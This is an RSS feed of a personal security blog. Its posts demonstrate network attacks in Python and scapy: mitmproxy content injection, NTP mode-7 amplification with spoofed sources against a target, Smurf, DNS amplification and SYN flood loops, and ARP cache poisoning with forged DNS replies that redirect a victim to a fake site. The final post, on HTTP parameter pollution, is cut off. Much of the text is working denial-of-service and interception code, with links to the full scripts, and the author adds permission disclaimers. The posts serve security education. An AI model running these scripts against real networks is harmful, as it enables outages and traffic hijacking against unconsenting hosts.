Jekyll2021-05-02T12:06:42+00:00https://fsec404.github.io/feed.xmlFSec404Blog for all things security, and network related and ocassionaly some random side projects of mine.Abhishek K VenkataA Look at a Simple On-Route HTTP Content Manipulation Attack2021-05-02T00:00:00+00:002021-05-02T00:00:00+00:00https://fsec404.github.io/blog/HTTP-authentication-issues-on-route-attack<h1 id="introduction">Introduction</h1>
<p>I was recently looking into Transport Layer Security (TLS) and came across an explanation of <a href="https://youtu.be/E_wX40fQwEA">secure web browsing</a> by Dr. Richard Mortier on the YouTube channel Computerphile. In the video, Dr. Mortier talks about how the lack of authentication of servers can allow the nodes between the client and the server to inject their own content in place of the user-requested data. In this post, we will look at a demonstration of such an attack.</p>
<h1 id="on-path-http-attack">On-path HTTP Attack</h1>
<p>There are numerous ways an attacker can force the client to themselves a part of the route to the webserver. In this post, we assume that the client is connected to a proxy server under the attacker’s control. This situation can be the case of many corporate networks where clients are allowed to fetch content through proxy servers only.</p>
<p>I have written a simple HTML website that displays the following page.</p>
<p><img src="../../assets/images/http-onpath/original_site.png" alt="Original-Site" /></p>
<p>To inject my own content, I have written the following simple script using mitmproxy’s APIs.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">mitmproxy</span> <span class="kn">import</span> <span class="n">http</span>
<span class="k">def</span> <span class="nf">request</span><span class="p">(</span><span class="n">flow</span><span class="p">:</span> <span class="n">http</span><span class="p">.</span><span class="n">HTTPFlow</span><span class="p">)</span> <span class="o">-></span> <span class="bp">None</span><span class="p">:</span>
<span class="k">if</span> <span class="s">"foodblog.com:8000/images/cookie"</span> <span class="ow">in</span> <span class="n">flow</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="n">pretty_url</span><span class="p">:</span>
<span class="n">fd</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'images/salad.jpg'</span><span class="p">,</span> <span class="n">mode</span><span class="o">=</span><span class="s">'rb'</span><span class="p">)</span>
<span class="n">replacement_img</span> <span class="o">=</span> <span class="n">fd</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">flow</span><span class="p">.</span><span class="n">response</span> <span class="o">=</span> <span class="n">http</span><span class="p">.</span><span class="n">HTTPResponse</span><span class="p">.</span><span class="n">make</span><span class="p">(</span>
<span class="mi">200</span><span class="p">,</span>
<span class="n">replacement_img</span><span class="p">,</span>
<span class="p">{</span>
<span class="s">"Content-Type"</span><span class="p">:</span> <span class="s">"image/jpg"</span><span class="p">,</span>
<span class="s">"Content-Disposition"</span><span class="p">:</span> <span class="s">"inline"</span>
<span class="p">}</span>
<span class="p">)</span>
</code></pre></div></div>
<p>All the above script does is respond to any request for <code class="language-plaintext highlighter-rouge">/images/cookie</code> with an image of a salad. The following video shows how the attack looks to the client before and after the attack.</p>
<!-- Courtesy of embedresponsively.com //-->
<div class="responsive-video-container">
<iframe src="https://drive.google.com/file/d/1lBqoNCF7ytKwBV1XY7ATo0OTH_A1G7MU/preview" frameborder="0" webkitallowfullscreen="" mozallowfullscreen="" allowfullscreen=""></iframe>
</div>
<p>We can clearly see that image of the cookie is being replaced with an image of a salad. In this manner, any content can be easily replaced, including the entire web page, as the attacker has complete control of deciding what responses are sent back to the client.</p>Abhishek K VenkataIntroduction I was recently looking into Transport Layer Security (TLS) and came across an explanation of secure web browsing by Dr. Richard Mortier on the YouTube channel Computerphile. In the video, Dr. Mortier talks about how the lack of authentication of servers can allow the nodes between the client and the server to inject their own content in place of the user-requested data. In this post, we will look at a demonstration of such an attack.A look at NTP Traffic Amplification (CVE-2013-5211)2019-10-20T00:00:00+00:002019-10-20T00:00:00+00:00https://fsec404.github.io/blog/A-look-at-NTP-traffic-amplification<h1 id="introduction">Introduction</h1>
<p>In a previous <a href="https://fsec404.github.io/blog/Introduction-to-a-few-network-attacks/">post</a>, we had a look at some low-level DoS attacks. In this post, we will take a look at CVE-2013-5211, which uses vulnerable NTP servers to cause a DoS.</p>
<h1 id="ntp">NTP</h1>
<p>The Network Time Protocol is a protocol designed to synchronize the clocks of computers over a network. This is the protocol that all your devices use to get the correct time for your timezone.</p>
<p>In this post, we are concerned with the mode 7 packet, which is used for exchanging data between an NTP server and a client for purposes other than time synchronization, e.g., monitoring, statistics gathering, and configuration. It has the following format:</p>
<p><img src="../../assets/images/ntp-amplification/ntp_priv_format.png" alt="NTP-Mode-7-Message-Format" /></p>
<p>Some of the various request codes are:</p>
<ol>
<li>REQ_PEER_LIST</li>
<li>REQ_PEER_STATS</li>
<li>REQ_CONFIG</li>
<li>REQ_MON_GETLIST_1</li>
</ol>
<h1 id="ntp-traffic-amplification">NTP Traffic Amplification</h1>
<p>Of the various request codes, the ones I am interested in today is the <em>REQ_MON_GETLIST</em> or <em>REQ_MON_GETLIST_1</em>.</p>
<p>Sending a request, with either of those codes, to a vulnerable NTP server will result in the server responding with the most recent interactions of it with the last 600 hosts. The responses include the IP addresses of hosts, source port used, NTP version, and the mode.</p>
<p>This issue affects server versions before 4.2.7p26. To search for vulnerable servers, I looked up servers running ntpd 4.2.6 on shodan.</p>
<p>Now to test this, I have written the following python code, using the <code class="language-plaintext highlighter-rouge">NTPPrivate</code> class of scapy.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Create the request
</span><span class="n">ip</span> <span class="o">=</span> <span class="n">IP</span><span class="p">(</span><span class="n">dst</span> <span class="o">=</span> <span class="n">ntp_ip</span><span class="p">)</span>
<span class="n">udp</span> <span class="o">=</span> <span class="n">UDP</span><span class="p">(</span><span class="n">sport</span> <span class="o">=</span> <span class="n">RandShort</span><span class="p">(),</span> <span class="n">dport</span> <span class="o">=</span> <span class="mi">123</span><span class="p">)</span>
<span class="n">ntp</span> <span class="o">=</span> <span class="n">NTPPrivate</span><span class="p">(</span><span class="n">mode</span><span class="o">=</span><span class="mi">7</span><span class="p">,</span> <span class="n">implementation</span><span class="o">=</span><span class="s">"XNTPD"</span><span class="p">,</span> <span class="n">request_code</span><span class="o">=</span><span class="s">"REQ_MON_GETLIST_1"</span><span class="p">)</span>
<span class="c1"># Send the request to the NTP server
</span><span class="n">packet</span> <span class="o">=</span> <span class="n">ip</span><span class="o">/</span><span class="n">udp</span><span class="o">/</span><span class="n">ntp</span>
<span class="n">send</span><span class="p">(</span><span class="n">packet</span><span class="p">)</span>
</code></pre></div></div>
<p>Running the above code and looking at the request and responses in Wireshark, we can see the following.</p>
<p><img src="../../assets/images/ntp-amplification/req_resp_1.png" alt="requst-response-1" /></p>
<p>There are two issues with this. The first being the information disclosure. Looking at one of the response, we can see the following details being disclosed.</p>
<p><img src="../../assets/images/ntp-amplification/disclosure.png" alt="requst-response-1" /></p>
<p>The second issue is the size and number of returned packets. For one packet of length 50 sent by us, we received 27 packets, each of length 482. This is a clear amplification of the traffic. Attackers constantly look for such vulnerabilities while trying to DoS a target.</p>
<p>To attack a target using this vulnerability, all the attacker has to do is send spoofed requests by changing the source IP address. All the responses are then sent to the target, which can overwhelm it.</p>
<p>The above code can be modified in the following way to target hosts with an amplification attack.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Create the NTP request
</span><span class="n">ip</span> <span class="o">=</span> <span class="n">IP</span><span class="p">(</span><span class="n">src</span> <span class="o">=</span> <span class="n">g_target_ip</span><span class="p">)</span>
<span class="n">udp</span> <span class="o">=</span> <span class="n">UDP</span><span class="p">(</span><span class="n">sport</span> <span class="o">=</span> <span class="n">RandShort</span><span class="p">(),</span> <span class="n">dport</span> <span class="o">=</span> <span class="mi">123</span><span class="p">)</span>
<span class="n">ntp</span> <span class="o">=</span> <span class="n">NTPPrivate</span><span class="p">(</span><span class="n">mode</span><span class="o">=</span><span class="mi">7</span><span class="p">,</span> <span class="n">implementation</span> <span class="o">=</span> <span class="s">"XNTPD"</span><span class="p">,</span> <span class="n">request_code</span><span class="o">=</span><span class="s">"REQ_MON_GETLIST_1"</span><span class="p">)</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="c1"># Send the request to each of the NTP servers
</span> <span class="k">for</span> <span class="n">ntp_ip</span> <span class="ow">in</span> <span class="n">g_ntp_servers</span><span class="p">:</span>
<span class="n">ip</span><span class="p">.</span><span class="n">dst</span> <span class="o">=</span> <span class="n">ntp_ip</span>
<span class="n">packet</span> <span class="o">=</span> <span class="n">ip</span><span class="o">/</span><span class="n">udp</span><span class="o">/</span><span class="n">ntp</span>
<span class="n">send</span><span class="p">(</span><span class="n">packet</span><span class="p">)</span>
</code></pre></div></div>
<p>The code takes a list of vulnerable NTP servers, and continuously sends each one of them spoofed NTP requests. Now all the responses are received by the target instead of our machine.</p>
<p>That’s it for this post. The entire script is available on my github <a href="https://github.com/venkat-abhi/network-attacks/">page</a>.</p>
<h1 id="disclaimer">Disclaimer</h1>
<p>The attacks mentioned on any of the posts on my website are to be tested at your own risk. Please do not use them without the permission of the target host. I will not be responsible for any damage caused by running them.</p>Abhishek K VenkataIntroduction In a previous post, we had a look at some low-level DoS attacks. In this post, we will take a look at CVE-2013-5211, which uses vulnerable NTP servers to cause a DoS.An Introduction to a Few DoS Attacks2019-10-15T00:00:00+00:002019-10-15T00:00:00+00:00https://fsec404.github.io/blog/Introduction-to-a-few-network-attacks<h1 id="introduction">Introduction</h1>
<p>In a previous <a href="https://fsec404.github.io/blog/DNS-hijacking/#results">post</a>, we had a look at spoofing DNS responses, which allowed us to redirect users to a web server running on our machine. In this post, we will look at a few network attacks that can lead to a DoS.</p>
<p>The below section is a basic refresher on ICMP and can be skipped.</p>
<h1 id="icmp">ICMP</h1>
<p>Internet Control Message Protocol (ICMP) is a protocol used primarily to report errors (source quench, unreachable destination, etc.) in sending IP packets. An ICMP packet has the following packet format.</p>
<p><img src="../../assets/images/icmp_format.png" alt="ICMP-Message-Format" /></p>
<p>The two codes relevant to the Smurf attack are:</p>
<ol>
<li>8 - for echo request message, and</li>
<li>0 - for echo reply message</li>
</ol>
<p>The above messages are commonly known as the ping messages and are used to test connectivity issues and obtain statistics about the connections of a network. When a host receives an ICMP echo request, it sends back an ICMP echo reply packet to the sender. The sender uses the replies to compute metrics such as the round trip time.</p>
<h1 id="smurf-attack">Smurf Attack</h1>
<p>Since the IP address fields of an ICMP packet can be spoofed, the attacker can send an ICMP request message to the network’s broadcast address claiming to be the target, which results in the target receiving the ICMP responses from all the live hosts on the network. If the number of responses is much higher than what the target can handle, it can result in a DoS. This is the idea behind the Smurf attack.</p>
<p>This is an amplification of the traffic, i.e., for one packet sent by the attacker, the target receives <em>n</em> packets, where <em>n</em> is the number of hosts that respond. This dramatically improves the attacker’s strength in taking the target down.</p>
<p>The following code can be utilized for a smurf attack.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pkt</span> <span class="o">=</span> <span class="n">IP</span><span class="p">(</span><span class="n">src</span> <span class="o">=</span> <span class="n">target_ip</span><span class="p">,</span> <span class="n">dst</span> <span class="o">=</span> <span class="n">broadcast_ip</span><span class="p">)</span><span class="o">/</span><span class="n">ICMP</span><span class="p">()</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="n">send</span><span class="p">(</span><span class="n">pkt</span><span class="p">)</span>
</code></pre></div></div>
<p>That’s it. The above 3 lines of code are all it takes to simulate a Smurf attack. But most hosts these days are configured not to respond to an ICMP request on the broadcast address. To get over this hurdle, one mechanism is to send each host an invalid packet. On receiving the invalid packet, a host might send back an ICMP response to the target with the details of the error (larger than what attacker sends).</p>
<h1 id="dns-amplification">DNS Amplification</h1>
<p>Another way to attack a target is by spoofing DNS queries. Since the size of a DNS query is smaller than the response, the amount of work done by the attacker to send the DNS queries will be significantly lesser than what the target needs to do to process the replies. The following code shows how this can be done.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="k">for</span> <span class="n">name_server</span> <span class="ow">in</span> <span class="n">g_name_servers</span><span class="p">:</span>
<span class="n">ip</span> <span class="o">=</span> <span class="n">IP</span><span class="p">(</span><span class="n">src</span> <span class="o">=</span> <span class="n">g_target_ip</span><span class="p">,</span> <span class="n">dst</span> <span class="o">=</span> <span class="n">name_server</span><span class="p">)</span>
<span class="n">udp</span> <span class="o">=</span> <span class="n">UDP</span><span class="p">(</span><span class="n">sport</span><span class="o">=</span><span class="n">RandShort</span><span class="p">(),</span> <span class="n">dport</span><span class="o">=</span><span class="mi">53</span><span class="p">)</span>
<span class="n">dns</span> <span class="o">=</span> <span class="n">DNS</span><span class="p">(</span><span class="n">rd</span> <span class="o">=</span> <span class="mi">1</span><span class="p">,</span>
<span class="n">qd</span> <span class="o">=</span> <span class="n">DNSQR</span><span class="p">(</span>
<span class="n">qname</span> <span class="o">=</span> <span class="n">g_domain</span><span class="p">,</span>
<span class="n">qtype</span> <span class="o">=</span> <span class="s">"ANY"</span> <span class="c1"># Play around to see which one returns max answer length
</span> <span class="p">)</span>
<span class="p">)</span>
<span class="c1"># Create the spoofed DNS query and send it
</span> <span class="n">pkt</span> <span class="o">=</span> <span class="n">ip</span><span class="o">/</span><span class="n">udp</span><span class="o">/</span><span class="n">dns</span>
<span class="n">send</span><span class="p">(</span><span class="n">pkt</span><span class="p">,</span> <span class="n">verbose</span> <span class="o">=</span> <span class="bp">False</span><span class="p">)</span>
</code></pre></div></div>
<p>The above code takes a list of DNS resolvers and queries each one with a spoofed IP address (set to the target). Each DNS resolver then sends the response to the target instead of the attacker. Since the size of the DNS response is much larger than the size of the query, the attacker has the upper hand while trying to overwhelm the target. If the responses are too many, the target will not be able to function, resulting in a DoS.</p>
<h2 id="dns-amplification-results">DNS Amplification Results</h2>
<p>The following image shows the IP address of the attacker (a Raspberry 3B+)</p>
<p><img src="../../assets/images/syn-flood/pi_ifconfig.png" alt="pi_ifconfig" /></p>
<p>and below we can see the target’s (my laptop) IP address
<img src="../../assets/images/syn-flood/laptop_ipconfig.png" alt="laptop_ipconfig" /></p>
<p>We run the script in the following manner.
<img src="../../assets/images/syn-flood/attack.png" alt="attack" /></p>
<p>Looking at the intercepted messages on my laptop, we can see that DNS replies are being received for
queries never sent. We can see that the length of the DNS response is 124 bytes, which is much larger than the query the attacker has sent.
<img src="../../assets/images/syn-flood/wireshark-output.png" alt="wireshark-output" /></p>
<h1 id="syn-flood">SYN Flood</h1>
<p>Moving on to the TCP layer, one attack that can result in a DoS is the SYN flood attack, where an attacker sends a large number of SYNs to various ports of the target and not respond to them. This results in a large number of half-open connections, and before the connections can time out, another SYN is sent to reset the timer. This will eventually lead to a DoS. The following code shows the implementation in python.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Create the IP layer
</span><span class="n">ip</span> <span class="o">=</span> <span class="n">IP</span><span class="p">(</span><span class="n">src</span> <span class="o">=</span> <span class="n">source_ip</span><span class="p">,</span> <span class="n">dst</span> <span class="o">=</span> <span class="n">g_target_ip</span><span class="p">)</span> <span class="c1"># Note that the source_ip can be spoofed
</span>
<span class="c1"># Create the SYN packet
</span><span class="n">tcp</span> <span class="o">=</span> <span class="n">TCP</span><span class="p">(</span><span class="n">sport</span><span class="o">=</span><span class="n">RandShort</span><span class="p">(),</span> <span class="n">dport</span><span class="o">=</span><span class="n">g_dest_ports</span><span class="p">,</span> <span class="n">flags</span><span class="o">=</span><span class="s">"S"</span><span class="p">,</span> <span class="n">seq</span><span class="o">=</span><span class="mi">42</span><span class="p">)</span>
<span class="c1"># Create the packet and continuously send it to all the specified ports
</span><span class="n">pkt</span> <span class="o">=</span> <span class="n">ip</span><span class="o">/</span><span class="n">tcp</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="n">send</span><span class="p">(</span><span class="n">pkt</span><span class="p">)</span>
</code></pre></div></div>
<h1 id="syn-flood-result">SYN Flood Result</h1>
<p>The script is run in the following manner.</p>
<p><img src="../../assets/images/syn-flood/syn-flood-pi.png" alt="syn-flood-pi" /></p>
<p>The SYN packets can be seen below.</p>
<p><img src="../../assets/images/syn-flood/syn-flood-wireshark.png" alt="syn-flood-wireshark" /></p>
<p>To specify more ports to send packets to, use the <code class="language-plaintext highlighter-rouge">-c</code> flag.</p>
<p>The full scripts are available on my github <a href="https://github.com/venkat-abhi/network-attacks">page</a>.</p>
<h1 id="disclaimer">Disclaimer</h1>
<p>The attacks mentioned on any posts on my website are to be tested at your own risk. Please do not use them without the permission of the target host. I will not be responsible for any damage caused by running them.</p>Abhishek K VenkataIntroduction In a previous post, we had a look at spoofing DNS responses, which allowed us to redirect users to a web server running on our machine. In this post, we will look at a few network attacks that can lead to a DoS.Performing DNS Hijacking to Redirect Users to a Fake Website2019-08-22T00:00:00+00:002019-08-22T00:00:00+00:00https://fsec404.github.io/blog/DNS-hijacking<h1 id="introduction">Introduction</h1>
<p>In my previous <a href="https://fsec404.github.io/blog/arp-cache-poisoning-and-mitm/">post</a>, we had a look at poisoning ARP caches which, allowed us to intercept the target’s traffic. In this post, we build on that to intercept all DNS requests of the
target and provide a spoofed reply pointing to a web server running on our machine.</p>
<h1 id="dns">DNS</h1>
<p>Every time a user types in an URL into the browser or any web client, the client resolves or “translates” the URL into an IP address. It does this to identify where to send the corresponding HTTP request. The following steps take place to translate the URL into an IP address:</p>
<ol>
<li>The browser first queries the OS with the request asking if it knows the IP address,</li>
<li>the OS checks it’s local cache and the HOSTS file which contains mappings between URLs and IP address,</li>
<li>if the OS does not find any mappings, it queries the local DNS resolver which is usually provided by your ISP,</li>
<li>the DNS resolver also checks if it has an answer. If it doesn’t, it will recursivelly query
the nameservers till it receives a response from the nameserver responsible for the domain.</li>
</ol>
<p>Once the IP address is retrieved, the client sends the HTTP request and displays the page returned.</p>
<h1 id="dns-spoofing">DNS Spoofing</h1>
<p>Before we can send spoofed responses to the target, we need the target’s traffic to pass through our system. This is done by poisoning both the router’s and target’s ARP cache. The following code shows how this can be done.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="c1"># Poison router's cache (Scapy will automatically fill in the ethernet frame with our MAC)
</span> <span class="n">send</span><span class="p">(</span><span class="n">ARP</span><span class="p">(</span><span class="n">op</span><span class="o">=</span><span class="mi">2</span><span class="p">,</span> <span class="n">psrc</span><span class="o">=</span><span class="n">g_target_ip</span><span class="p">,</span> <span class="n">pdst</span><span class="o">=</span><span class="n">g_router_ip</span><span class="p">,</span> <span class="n">hwdst</span><span class="o">=</span><span class="n">router_mac</span><span class="p">),</span> <span class="n">verbose</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span>
<span class="c1"># Poison target's cache
</span> <span class="n">send</span><span class="p">(</span><span class="n">ARP</span><span class="p">(</span><span class="n">op</span><span class="o">=</span><span class="mi">2</span><span class="p">,</span> <span class="n">psrc</span><span class="o">=</span><span class="n">g_router_ip</span><span class="p">,</span> <span class="n">pdst</span><span class="o">=</span><span class="n">g_target_ip</span><span class="p">,</span> <span class="n">hwdst</span><span class="o">=</span><span class="n">target_mac</span><span class="p">),</span> <span class="n">verbose</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span>
<span class="c1"># Sleep to prevent flooding
</span> <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
</code></pre></div></div>
<p>By continuously sending spoofed ARP responses, we poison the ARP caches. Now we control the traffic, i.e., we can decide on what to forward and what not to. By stopping all DNS queries from the target, we can then send a spoofed DNS response pointing to our system. This will cause the target to send all future HTTP/HTTPS requests to our machine.</p>
<p>To stop forwarding all DNS messages, we need to drop them by adding a firewall rule. This is carried out in the following manner.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Check to see if we are on linux
</span><span class="k">if</span> <span class="p">(</span><span class="n">platform</span><span class="p">.</span><span class="n">system</span><span class="p">()</span> <span class="o">==</span> <span class="s">"Linux"</span><span class="p">):</span>
<span class="c1"># Enable IP forwarding
</span> <span class="n">ipf</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'/proc/sys/net/ipv4/ip_forward'</span><span class="p">,</span> <span class="s">'r+'</span><span class="p">)</span>
<span class="n">ipf_read</span> <span class="o">=</span> <span class="n">ipf</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ipf_read</span> <span class="o">!=</span> <span class="s">'1</span><span class="se">\n</span><span class="s">'</span><span class="p">):</span>
<span class="n">ipf</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="s">'1</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">ipf</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="c1"># Disable DNS Query forwarding
</span> <span class="n">firewall</span> <span class="o">=</span> <span class="s">"iptables -A FORWARD -p UDP --dport 53 -j DROP"</span>
<span class="n">Popen</span><span class="p">([</span><span class="n">firewall</span><span class="p">],</span> <span class="n">shell</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">stdout</span><span class="o">=</span><span class="n">PIPE</span><span class="p">)</span>
</code></pre></div></div>
<p>Now, since all DNS messages from the target are dropped, we need to provide the target with a spoofed DNS response. Failing to do so can lead to a DOS since the target will not be able to resolve the URL to any IP address. To send a spoofed DNS answer, we can use the following code.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">pkt</span><span class="p">[</span><span class="n">IP</span><span class="p">].</span><span class="n">src</span> <span class="o">==</span> <span class="n">g_target_ip</span> <span class="ow">and</span>
<span class="n">pkt</span><span class="p">.</span><span class="n">haslayer</span><span class="p">(</span><span class="n">DNS</span><span class="p">)</span> <span class="ow">and</span>
<span class="n">pkt</span><span class="p">[</span><span class="n">DNS</span><span class="p">].</span><span class="n">qr</span> <span class="o">==</span> <span class="mi">0</span> <span class="ow">and</span> <span class="c1"># DNS Query
</span> <span class="n">pkt</span><span class="p">[</span><span class="n">DNS</span><span class="p">].</span><span class="n">opcode</span> <span class="o">==</span> <span class="mi">0</span> <span class="ow">and</span> <span class="c1"># DNS Standard Query
</span> <span class="n">pkt</span><span class="p">[</span><span class="n">DNS</span><span class="p">].</span><span class="n">ancount</span> <span class="o">==</span> <span class="mi">0</span> <span class="c1"># Answer Count
</span> <span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Sending spoofed DNS response"</span><span class="p">)</span>
<span class="k">if</span> <span class="p">(</span><span class="n">pkt</span><span class="p">.</span><span class="n">haslayer</span><span class="p">(</span><span class="n">IPv6</span><span class="p">)):</span>
<span class="n">ip_layer</span> <span class="o">=</span> <span class="n">IPv6</span><span class="p">(</span><span class="n">src</span><span class="o">=</span><span class="n">pkt</span><span class="p">[</span><span class="n">IPv6</span><span class="p">].</span><span class="n">dst</span><span class="p">,</span> <span class="n">dst</span><span class="o">=</span><span class="n">pkt</span><span class="p">[</span><span class="n">IPv6</span><span class="p">].</span><span class="n">src</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">ip_layer</span> <span class="o">=</span> <span class="n">IP</span><span class="p">(</span><span class="n">src</span><span class="o">=</span><span class="n">pkt</span><span class="p">[</span><span class="n">IP</span><span class="p">].</span><span class="n">dst</span><span class="p">,</span> <span class="n">dst</span><span class="o">=</span><span class="n">pkt</span><span class="p">[</span><span class="n">IP</span><span class="p">].</span><span class="n">src</span><span class="p">)</span>
<span class="c1"># Create the spoofed DNS response (returning our IP as the answer instead of the endpoint)
</span> <span class="n">dns_resp</span> <span class="o">=</span> <span class="n">ip_layer</span><span class="o">/</span> \
<span class="n">UDP</span><span class="p">(</span>
<span class="n">dport</span><span class="o">=</span><span class="n">pkt</span><span class="p">[</span><span class="n">UDP</span><span class="p">].</span><span class="n">sport</span><span class="p">,</span>
<span class="n">sport</span><span class="o">=</span><span class="mi">53</span>
<span class="p">)</span><span class="o">/</span> \
<span class="n">DNS</span><span class="p">(</span>
<span class="nb">id</span><span class="o">=</span><span class="n">pkt</span><span class="p">[</span><span class="n">DNS</span><span class="p">].</span><span class="nb">id</span><span class="p">,</span> <span class="c1"># Same as query
</span> <span class="n">ancount</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span> <span class="c1"># Number of answers
</span> <span class="n">qr</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span> <span class="c1"># DNS Response
</span> <span class="n">ra</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span> <span class="c1"># Recursion available
</span> <span class="n">qd</span><span class="o">=</span><span class="p">(</span><span class="n">pkt</span><span class="p">.</span><span class="n">getlayer</span><span class="p">(</span><span class="n">DNS</span><span class="p">)).</span><span class="n">qd</span><span class="p">,</span> <span class="c1"># Query Data
</span> <span class="n">an</span><span class="o">=</span><span class="n">DNSRR</span><span class="p">(</span>
<span class="n">rrname</span><span class="o">=</span><span class="n">pkt</span><span class="p">[</span><span class="n">DNSQR</span><span class="p">].</span><span class="n">qname</span><span class="p">,</span> <span class="c1"># Queried host name
</span> <span class="n">rdata</span><span class="o">=</span><span class="n">g_server_ip</span><span class="p">,</span> <span class="c1"># IP address of queried host name
</span> <span class="n">ttl</span> <span class="o">=</span> <span class="mi">10</span>
<span class="p">)</span>
<span class="p">)</span>
<span class="c1"># Send the spoofed DNS response
</span> <span class="k">print</span><span class="p">(</span><span class="n">dns_resp</span><span class="p">.</span><span class="n">show</span><span class="p">())</span>
<span class="n">send</span><span class="p">(</span><span class="n">dns_resp</span><span class="p">,</span> <span class="n">verbose</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Resolved DNS request for </span><span class="si">{</span><span class="n">pkt</span><span class="p">[</span><span class="n">DNS</span><span class="p">].</span><span class="n">qd</span><span class="p">.</span><span class="n">qname</span><span class="si">}</span><span class="s"> by </span><span class="si">{</span><span class="n">g_server_ip</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
</code></pre></div></div>
<p>In the above code, <em>pkt</em> holds the DNS request intercepted by our machine. Using it, we send a DNS response saying that the URL maps to our IP address. Now since the target will start sending HTTP/HTTPS request to our machine, we need to respond to those with our webpage. A simple demonstration can be done using Flask in the following manner.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span>
<span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="n">__name__</span><span class="p">)</span>
<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">spoofed_page</span><span class="p">():</span>
<span class="k">return</span> <span class="s">'<h1 align="center">You have been pwned!</h1>'</span>
<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/<path:dummy>'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">spoofed_dir</span><span class="p">(</span><span class="n">dummy</span><span class="p">):</span>
<span class="k">return</span> <span class="s">'<h1 align="center">You have been pwned!</h1>'</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="n">app</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="s">'192.168.137.1'</span><span class="p">,</span> <span class="n">ssl_context</span><span class="o">=</span><span class="s">'adhoc'</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">443</span><span class="p">)</span>
</code></pre></div></div>
<p>The host argument must be set to the IP address on which the webserver is being run on. Now any page accessed by the target will result in the above html being returned.</p>
<h1 id="results">Results</h1>
<p>I am running the DNS-hijacker and the web server on a Raspberry PI 3B+ with the target as my iPhone.</p>
<p><img src="../../assets/videos/dns-hijacker.gif" alt="dns-hijacker" /></p>
<p>Sending a request from my iPhone once the DNS hijacker and the web server are started, results in the following.</p>
<p><img src="../../assets/videos/pwned.gif" alt="pwned" /></p>
<p>We can see that a GET request to <code class="language-plaintext highlighter-rouge">xda-developers.com</code> was successfully redirected to our webpage. yaaa. Note that the warning can be removed by supplying phony certificates (hard!), but that topic is for another post.</p>
<p>The full script is available on my github <a href="https://github.com/venkat-abhi/dns-redirector">page</a>.</p>Abhishek K VenkataIntroduction In my previous post, we had a look at poisoning ARP caches which, allowed us to intercept the target’s traffic. In this post, we build on that to intercept all DNS requests of the target and provide a spoofed reply pointing to a web server running on our machine.An Introduction to HTTP Parameter Pollution2019-08-22T00:00:00+00:002019-08-22T00:00:00+00:00https://fsec404.github.io/blog/HTTP-parameter-pollution<h1 id="introduction">Introduction</h1>
<p>Ever seen how your search query is sent to Google? Well, it is sent as a GET request which looks the like the following, if we type in <code class="language-plaintext highlighter-rouge">fsec404</code> as our query.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://www.google.com/search?ei=YrxrXYLDONG1rQHctJ7wBg&q=fsec404&oq=fsec404&gs_l=psy-ab.3..35i39l2j0i13l8.21652.22581..23256...0.0..0.128.806.0j7......0....1..gws-wiz.......0i131j0j0i273j0i67j0i10.Z20sHSUQM2Q&ved=0ahUKEwiC_LHa0q_kAhXRWisKHVyaB24Q4dUDCAo&uact=5
</code></pre></div></div>
<p>We can see that the browser sends a request to <code class="language-plaintext highlighter-rouge">google.com/search</code> with the parameters filled in automatically. Looking at the whole URL, we can see that the query is sent through the <code class="language-plaintext highlighter-rouge">q</code> parameter. So, the above URL can be rewritten as</p>
